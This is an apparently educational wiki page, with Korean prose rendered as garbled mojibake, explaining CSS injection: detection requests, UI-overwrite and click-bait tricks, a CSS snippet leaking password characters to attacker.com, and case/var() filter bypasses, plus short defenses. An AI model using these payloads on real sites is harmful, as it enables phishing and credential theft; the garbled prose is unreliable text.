CSS Injection

๐Ÿ” Introduction

CSS Injection์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์‚ฝ์ž…ํ•œ ๊ฐ’์„ ํ†ตํ•ด์„œ ์›น ํŽ˜์ด์ง€ ๋‚ด ๋กœ๋“œ๋œ CSS(์Šคํƒ€์ผ์‹œํŠธ) ๋˜๋Š” Style ํƒœ๊ทธ์™€ ์†์„ฑ ๋“ฑ ํŽ˜์ด์ง€์˜ CSS๋ฅผ ํ†ต์ œํ•˜๋Š” ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค. ๋Œ€ํ‘œ์ ์œผ๋กœ ํ”ผ์‹ฑ์— ํ™œ์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ ๋‹ค๋ฅธ XSS๋‚˜ CSRF ์ทจ์•ฝ์ ์ด ์‰ฝ๊ฒŒ ํŠธ๋ฆฌ๊ฑฐ๋  ์ˆ˜ ์žˆ๋„๋ก ์‚ฌ์šฉ์ž๋ฅผ ์†์ด๋Š”๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

๐Ÿ—ก Offensive techniques

Detect

Allowed HTML in Service

HTML ์‚ฌ์šฉ์ด ํ—ˆ์šฉ๋œ ์„œ๋น„์Šค์˜ ๊ฒฝ์šฐ ๊ธฐ๋ณธ์ ์œผ๋กœ CSS Injection์˜ ์˜ํ–ฅ์„ ๋ฐ›์Šต๋‹ˆ๋‹ค. ์ด ๋•Œ ์„œ๋น„์Šค์—์„  ์˜ํ–ฅ๋ ฅ์„ ์ค„์ด๊ธฐ ์œ„ํ•ด position ๋“ฑ ํ—ˆ์šฉ๋œ ์˜์—ญ ์ด์™ธ๋ฅผ ํ†ต์ œํ•  ์ˆ˜ ์žˆ๋Š” CSS ๊ทœ์น™์„ ์ œํ•œํ•˜๊ณ  ์žˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์€๋ฐ, ์—†๋‹ค๋ฉด CSS Injection์œผ๋กœ ์„œ๋น„์Šค ํŽ˜์ด์ง€์˜ ์ „์ฒด ์˜์—ญ์„ ์ปจํŠธ๋กคํ•  ์ˆ˜ ์žˆ๊ธฐ ๋–„๋ฌธ์— ์ทจ์•ฝํ•˜๊ณ , ์ œํ•œ ๋กœ์ง์ด ์žˆ์–ด๋„ ์ด๋ฅผ ์šฐํšŒํ•˜์—ฌ CSS๋ฅผ ์™„๋ฒฝํ•˜๊ฒŒ ํ†ต์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

HTML Injection

XSS์™€ ์œ ์‚ฌํ•˜์ง€๋งŒ Javascript๋ฅผ ์‹คํ–‰ํ•˜์ง€ ๋ชปํ•˜๋Š” ๊ฒฝ์šฐ HTML Injection ์œผ๋กœ ํ‘œํ˜„ํ•˜๊ณค ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋•Œ style ํƒœ๊ทธ ๋“ฑ์ด ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ CSS Injection์œผ๋กœ ํ™•์žฅ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

1
GET /search?query=<style>.hahwul{position:fixed}</style><b%20class=hahwul>hacked</b>

CSS received from User

์‚ฌ์šฉ์ž์—๊ฒŒ ๊พธ๋ฏธ๋Š” ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•˜๋Š” ๊ฒฝ์šฐ Font์˜ ํฌ๊ธฐ ๋ฐ ์ƒ‰์ƒ, ๋ฐฐ๊ฒฝ ์ด๋ฏธ์ง€, ๋ฐฐ๊ฒฝ ์ƒ‰ ๋“ฑ CSS์— ๊ฐ„์ ‘์ ์œผ๋กœ ๊ด€์—ฌํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ๋“ค์ด ์กด์žฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋•Œ CSS ๊ตฌ๋ฌธ์„ ์ด์šฉํ•˜์—ฌ ๊ฐœ๋ฐœ์ž๊ฐ€ ์˜ˆ์ธกํ•˜์ง€ ๋ชปํ•œ CSS ์„ ์–ธํ•˜๋Š” ํ˜•ํƒœ๋กœ Injection ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Original

1
2
3
POST /update_skin

backgroundColor=#000

Injection

1
2
3
POST /update_skin

backgroundColor=#000%3B%20position:%20fixed%3B

Response

1
2
3
.userSkin {
	background-color: #000; position: fixed;
}

Exploitation

CSS Injection์„ ํ†ตํ•œ ๋ชฉ์ ๊ณผ ๋ฐฉ๋ฒ•์€ ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ ์†๊ธฐ ์‰ฌ์šด ํŽ˜์ด์ง€๋ฅผ ๋งŒ๋“ค์–ด ํ”ผ์‹ฑํ•˜๊ฑฐ๋‚˜ ์œ ์ € ์ธํ„ฐ๋ ‰์…˜์ด ํ•„์š”ํ•œ XSS, CSRF ๋“ฑ์˜ ์ธํ„ฐ๋ ‰์…˜์„ ์‰ฝ๊ฒŒ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๋„๋ก ๊พธ๋ฐ€ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Overwirte UI

๋Œ€ํ‘œ์ ์œผ๋กœ ์„œ๋น„์Šค์—์„œ ์ œ๊ณตํ•˜๋Š” ๊ธฐ๋Šฅ์— ๋Œ€ํ•œ ๋ฒ„ํŠผ์„ Overwrite ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” position: fixed์™€ ์ด๋ฅผ ๊พธ๋ฉฐ์ฃผ๋Š” CSS๋ฅผ ๊ธฐ๋ฐ˜์„ ํ†ตํ•ด ๋กœ๊ทธ์ธ, ์„œ๋น„์Šค ํŽ˜์ด์ง€ ๋“ฑ์˜ ๋ฒ„ํŠผ์„ ๊ณต๊ฒฉ์ž๊ฐ€ ์˜๋„ํ•œ Element๋กœ ๋ฎ์–ด์„œ ์‚ฌ์šฉ์ž๊ฐ€ ์‰ฝ๊ฒŒ ํ”ผ์‹ฑ ๋“ฑ์— ๋‹นํ•  ์ˆ˜ ์žˆ๋„๋ก ๊ตฌ์„ฑ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

Reduce of Interaction

CSS Injection์œผ๋กœ Interaction์ด ํ•„์š”ํ•œ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ์˜ ๋‚œ์ด๋„๋ฅผ ์›”๋“ฑํžˆ ๋‚ฎ์ถœ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ ํŠน์ • ์ด๋ฏธ์ง€๋ฅผ ํด๋ฆญํ•ด์•ผ ๋™์ž‘ํ•˜๋Š” XSS๊ฐ€ ์žˆ๋‹ค๊ณ  ํ•œ๋‹ค๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด CSS๋ฅผ ๋ฎ์–ด์จ์„œ ํ™”๋ฉด ์ „ ์˜์—ญ์— ๋…ธ์ถœ์‹œ์ผœ ์‚ฌ์šฉ์ž๊ฐ€ ์‰ฝ๊ฒŒ ํด๋ฆญํ•  ์ˆ˜ ์žˆ๋„๋ก ์œ ๋„๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<style>
	.tt {
		position: fixed;
		top: 0;
		left: 0;
		width: 100%;
		height: 100%;
	}
</style>
<img src="x" name="tt" onclick="tooltip('input');attack()//')">

Sequential Import Chaining

Sequential Import Chaining์€ d0nutptr์ด ์ œ์‹œํ•œ ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์œผ๋กœ CSS Injection์ด๋‚˜ RPO(Relative Path Overwrite) ์‹œ ์˜ํ–ฅ์„ ์˜ฌ๋ฆฌ๊ธฐ ์œ„ํ•œ Exploit ๋ฐฉ๋ฒ• ์ค‘ ํ•˜๋‚˜์ž…๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด์„œ ํŽ˜์ด์ง€์— ๋…ธ์ถœ๋˜๋Š” ์ค‘์š”์ •๋ณด๋ฅผ CSS๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„๋กœ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
input[name=password][value^=a]{
    background: url('https://attacker.com/a');
}
input[name=password][value^=b]{
    background: url('https://attacker.com/b');
}
/* ... */
input[name=password][value^=9]{
    background: url('https://attacker.com/9');   
}

์ž์„ธํ•œ ๋‚ด์šฉ์€ โ€œSequential Import Chaining์„ ์ด์šฉํ•œ CSS ๊ธฐ๋ฐ˜ ๋ฐ์ดํ„ฐ ํƒˆ์ทจโ€ ๊ธ€์„ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

Bypass protection

Upper case

CSS ์†์„ฑ์€ ๋Œ€์†Œ๋ฌธ์ž๋ฅผ ๊ตฌ๋ณ„ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ๋Œ€์†Œ๋ฌธ์ž๋ฅผ ์„ž์–ด ๋‹จ์ˆœ ๋ฌธ์ž์—ด ๊ฒ€์ฆ์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

1
2
pOSiTiOn: fixed;
pOSiTiOn: FiXeD;

With var()

CSS์—์„œ๋„ ๋ณ€์ˆ˜๋ฅผ ์„ ์–ธํ•˜๊ณ  ๊ฐ’์„ ์ฝ์–ด ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด position: fixed ๋ž€ ๋ฌธ์ž์—ด ํ˜•ํƒœ๋กœ ๊ฒ€์ฆํ•˜๋Š” ๊ฒฝ์šฐ ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

1
2
3
4
5
6
.main {
	--hahwul: fixed;
	position: var(--hahwul);
	top: 0;
	left: 0;
}

๐Ÿ›ก Defensive techniques

๊ฐ€๊ธ‰์  ์‚ฌ์šฉ์ž์—๊ฒŒ CSS ํ†ต์ œ๊ถŒ์„ ์ฃผ์ง€ ์•Š๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์„œ๋น„์Šค ํŠน์„ฑ ์ƒ CSS๋ฅผ ํ†ต์ œํ•  ์ˆ˜ ์žˆ๋„๋ก ์ œ๊ณต๋˜์–ด์•ผ ํ•œ๋‹ค๋ฉด position: fixed์™€ ๊ฐ™์ด ์ „์ฒด ํŽ˜์ด์ง€ ์˜์—ญ์„ ์ปจํŠธ๋กค ํ•  ์ˆ˜ ์—†๋„๋ก ์ œํ•œํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

  • style ํƒœ๊ทธ์™€ style ์†์„ฑ
  • ํŽ˜์ด์ง€์— ๋กœ๋“œ๋œ CSS์—์„œ position ๋“ฑ์ด ์ ์šฉ๋œ selector

๐Ÿ•น Tools

๐Ÿ“š Articles

๐Ÿ“Œ References

Licensed under CC BY-NC-SA 4.0